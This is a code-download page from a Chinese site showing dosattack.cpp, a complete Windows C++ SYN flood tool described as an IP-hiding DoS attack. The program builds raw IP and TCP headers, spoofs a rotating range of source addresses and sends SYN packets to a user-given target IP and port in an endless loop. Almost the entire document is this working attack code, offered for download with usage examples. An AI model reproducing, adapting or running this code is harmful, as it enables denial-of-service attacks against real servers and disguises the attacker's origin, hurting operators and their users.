⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 dosattack.cpp

📁 dosattack完成的功能:ip隐藏dos攻击 攻击使用流程: 1.运行可执行文件
💻 CPP
字号:
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#define SEQ 0x28376839
//#define argv[3] "200.168.150.1" //伪装IP的起始值,本程序的伪装IP覆盖一个C类网段
#define STATUS_FAILED 0xFFFF //错误返回值

typedef struct _iphdr //定义IP首部
{
	unsigned char h_verlen; //4位首部长度,4位IP版本号
	unsigned char tos; //8位服务类型TOS
	unsigned short total_len; //16位总长度(字节)
	unsigned short ident; //16位标识
	unsigned short frag_and_flags; //3位标志位
	unsigned char ttl; //8位生存时间 TTL
	unsigned char proto; //8位协议 (TCP, UDP 或其他)
	unsigned short checksum; //16位IP首部校验和
	unsigned int sourceIP; //32位源IP地址
	unsigned int destIP; //32位目的IP地址
}IP_HEADER;

struct //定义TCP伪首部
{
	unsigned long saddr; //源地址
	unsigned long daddr; //目的地址
	char mbz;
	char ptcl; //协议类型
	unsigned short tcpl; //TCP长度
}psd_header;

typedef struct _tcphdr //定义TCP首部
{
	USHORT th_sport; //16位源端口
	USHORT th_dport; //16位目的端口
	unsigned int th_seq; //32位序列号
	unsigned int th_ack; //32位确认号
	unsigned char th_lenres; //4位首部长度/6位保留字
	unsigned char th_flag; //6位标志位
	USHORT th_win; //16位窗口大小
	USHORT th_sum; //16位校验和
	USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;

//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{ 
	unsigned long cksum=0;
	while(size >1) 
	{
		cksum+=*buffer++;
		size -=sizeof(USHORT);
	}
	if(size )
	{
		cksum += *(UCHAR*)buffer;
	}
	cksum = (cksum >> 16) + (cksum & 0xffff);
	cksum += (cksum >>16);
	return (USHORT)(~cksum);
}
// SynFlood主函数
int main(int argc,char *argv[])
{
	if(argc!=5)
	{
		printf("参数错误 使用方式举例\n  %s 目标IP 目标端口号 伪装IP 伪装端口号\n",argv[0]);
		printf("%s 219.245.5.196 80  219.245.5.45  90\n",argv[0]);
		return 0;
	}
	int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
	int TimeOut=2000,SendSEQ=0;
	char SendBuf[128]={0};
	char RecvBuf[65535]={0};
	WSADATA wsaData;
	SOCKET SockRaw=(SOCKET)NULL;
	struct sockaddr_in DestAddr;
	IP_HEADER ip_header;
	TCP_HEADER tcp_header;
	//初始化SOCK_RAW
	if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
	{
		fprintf(stderr,"初始化Socket失败: %d\n",ErrorCode);
		ExitProcess(STATUS_FAILED);
	}
	SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
	if (SockRaw==INVALID_SOCKET)
	{
		fprintf(stderr,"初始化Socket失败: %d\n",WSAGetLastError());
		ExitProcess(STATUS_FAILED);
	}
	flag=TRUE;
	//设置IP_HDRINCL以自己填充IP首部
	ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
	if(ErrorCode==SOCKET_ERROR) printf("填充IP头错误!\n");
	__try
	{
		//设置发送超时
		ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
		if(ErrorCode==SOCKET_ERROR)
		{
			fprintf(stderr,"设置超时失败: %d\n",WSAGetLastError());
			__leave;
		}
		memset(&DestAddr,0,sizeof(DestAddr));
		DestAddr.sin_family=AF_INET;
		DestAddr.sin_addr.s_addr=inet_addr(argv[1]);
		FakeIpNet=inet_addr(argv[3]);
		FakeIpHost=ntohl(FakeIpNet);
		//填充IP首部
		ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
		//高四位IP版本号,低四位首部长度
		ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节)
		ip_header.ident=1; //16位标识
		ip_header.frag_and_flags=0; //3位标志位
		ip_header.ttl=128; //8位生存时间TTL
		ip_header.proto=IPPROTO_TCP; //8位协议(TCP,UDP…)
		ip_header.checksum=0; //16位IP首部校验和
		ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址
		ip_header.destIP=inet_addr(argv[1]); //32位目的IP地址
		//填充TCP首部
		tcp_header.th_sport=htons(atoi(argv[4])); //源端口号
		tcp_header.th_dport=htons(atoi(argv[2])); //目的端口号
		tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号
		tcp_header.th_ack=0; //ACK序列号置为0
		tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP长度和保留位
		tcp_header.th_flag=2; //SYN 标志
		tcp_header.th_win=htons(16384); //窗口大小
		tcp_header.th_urp=0; //偏移
		tcp_header.th_sum=0; //校验和
		//填充TCP伪首部(用于计算校验和,并不真正发送)
		psd_header.saddr=ip_header.sourceIP; //源地址
		psd_header.daddr=ip_header.destIP; //目的地址
		psd_header.mbz=0;
		psd_header.ptcl=IPPROTO_TCP; //协议类型
		psd_header.tcpl=htons(sizeof(tcp_header)); //TCP首部长度
		long index=0;
		while(1) 
		{
			//每发送10,240个报文输出一个标示符
			printf("正在向%s发动%ld次攻击\n",argv[1],++index);
			for(counter=0;counter<10240;counter++)
			{
				if(SendSEQ++==65536) SendSEQ=1; //序列号循环
				//更改IP首部
				ip_header.checksum=0; //16位IP首部校验和
				ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址
				//更改TCP首部
				tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号
				tcp_header.th_sum=0; //校验和
				//更改TCP Pseudo Header
				psd_header.saddr=ip_header.sourceIP; 
				//计算TCP校验和,计算校验和时需要包括TCP pseudo header 
				memcpy(SendBuf,&psd_header,sizeof(psd_header)); 
				memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
				tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
				//计算IP校验和
				memcpy(SendBuf,&ip_header,sizeof(ip_header));
				memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
				memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
				datasize=sizeof(ip_header)+sizeof(tcp_header);
				ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
				//填充发送缓冲区
				memcpy(SendBuf,&ip_header,sizeof(ip_header));
				//发送TCP报文
				ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));
				if (ErrorCode==SOCKET_ERROR) printf("\n发送错误:%d\n",GetLastError());
			}//End of for
		}//End of While
	}//End of try
	__finally
	{
		if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
		WSACleanup();
	}
	
	return 0;
	
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -